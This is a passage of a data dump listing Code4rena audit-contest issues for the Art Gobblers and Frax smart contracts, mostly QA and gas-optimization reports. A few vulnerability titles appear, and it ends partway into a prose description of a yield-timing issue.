"https://github.com/code-423n4/2022-09-artgobblers-findings/issues/42", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/41", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/38", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/37", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/35", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/33", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/11", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/6", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/2", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/1", "labels": [], "target": "2022-09-artgobblers-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/398", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/397", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/396", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/392", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/391", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/389", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/387", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/385", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/383", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/382", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/379", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/376", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/374", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/368", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/366", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/363", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "[M2] Incomplete reentrancy protection of `submitAndDeposit()`", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/360", "labels": ["bug", "question", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "[M2] Incomplete reentrancy protection of `submitAndDeposit()`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/359", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/358", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/356", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/354", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/353", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/351", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/348", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/347", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "`recoverEther` not updating `currentWithheldETH` breaks calculation of withheld amount for further deposits", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/346", "labels": ["bug", "2 (Med Risk)", "in discussion", "primary issue", "recoverEther offsets currentWithheldETH"], "target": "2022-09-frax-findings", "body": "`recoverEther` not updating `currentWithheldETH` breaks calculation of withheld amount for further deposits"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/345", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/344", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/342", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/340", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Malicious owner can DoS `frxETHMinter.depositEther` by adding the same validator twice", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/338", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "Malicious owner can DoS `frxETHMinter.depositEther` by adding the same validator twice"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/337", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/335", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/332", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/331", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/330", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/328", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/324", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/323", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/322", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/320", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/319", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/315", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/309", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/307", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/305", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/304", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Duplicate or incorrect validators temporarily disable `depositEther`", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/302", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "Duplicate or incorrect validators temporarily disable `depositEther`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/301", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/295", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/294", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/290", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/288", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/281", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/276", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/272", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/266", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/263", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/262", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/261", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/259", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/258", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/257", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/253", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/252", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/251", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/250", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/248", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/243", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/242", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/241", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/240", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/238", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/237", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/236", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/235", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/234", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/232", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/229", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/228", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/227", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Withheld ETH shoud not be sent back to the frxETHMinter contract itself", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/221", "labels": ["bug", "2 (Med Risk)"], "target": "2022-09-frax-findings", "body": "Withheld ETH shoud not be sent back to the frxETHMinter contract itself"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/220", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "`getNextValidator()` error could temporarily make `depositEther()` inoperable ", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/219", "labels": ["bug", "2 (Med Risk)"], "target": "2022-09-frax-findings", "body": "`getNextValidator()` error could temporarily make `depositEther()` inoperable "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/218", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/213", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/210", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/207", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/202", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/200", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/199", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/198", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Reentrancy in frxETHMinter.depositEther()", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/195", "labels": ["bug", "question", "in discussion", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-frax-findings", "body": "Reentrancy in frxETHMinter.depositEther()"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/193", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/191", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "ERC-20 approve front-running", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/188", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "ERC-20 approve front-running"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/187", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/186", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/184", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/183", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Should not allow APPROVE type(uint256).max qty for permit ", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/182", "labels": ["G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Should not allow APPROVE type(uint256).max qty for permit "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/181", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/179", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/178", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/177", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/176", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/175", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/172", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/170", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/169", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/168", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/167", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/166", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/164", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/161", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/160", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/159", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/157", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/155", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/154", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/151", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/144", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/143", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/140", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Outdated Withdrawal Credential Setup", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/136", "labels": ["bug", "disagree with severity", "primary issue", "QA (Quality Assurance)", "sponsor acknowledged", "outdated withdrawal creds"], "target": "2022-09-frax-findings", "body": "Outdated Withdrawal Credential Setup"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/129", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/127", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/121", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/120", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/118", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/115", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "frxETH can be depegged due to ETH staking balance slashing ", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/113", "labels": ["bug", "2 (Med Risk)"], "target": "2022-09-frax-findings", "body": "frxETH can be depegged due to ETH staking balance slashing "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/112", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/111", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Rewards delay release could cause yields steal and loss", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/110", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "in discussion", "primary issue", "sponsor confirmed", "syncRewards sniping"], "target": "2022-09-frax-findings", "body": "# Lines of code https://github.com/corddry/ERC4626/blob/643cd044fac34bcbf64e1c3790a5126fec0dbec1/src/xERC4626.sol#L78-L97 # Vulnerability details ## Impact In the current rewards accounting, vault shares in `deposit()` and `redeem()` can not correctly record the spot yields generated by the staked asset. Yields are released over the next rewards cycle. As a result, malicious users can steal yields from innocent users by picking special timing to `deposit()` and `redeem()`. ## Proof of Concept In `syncRewards()`, the current asset balance is break into 2 parts: `storedTotalAssets` and 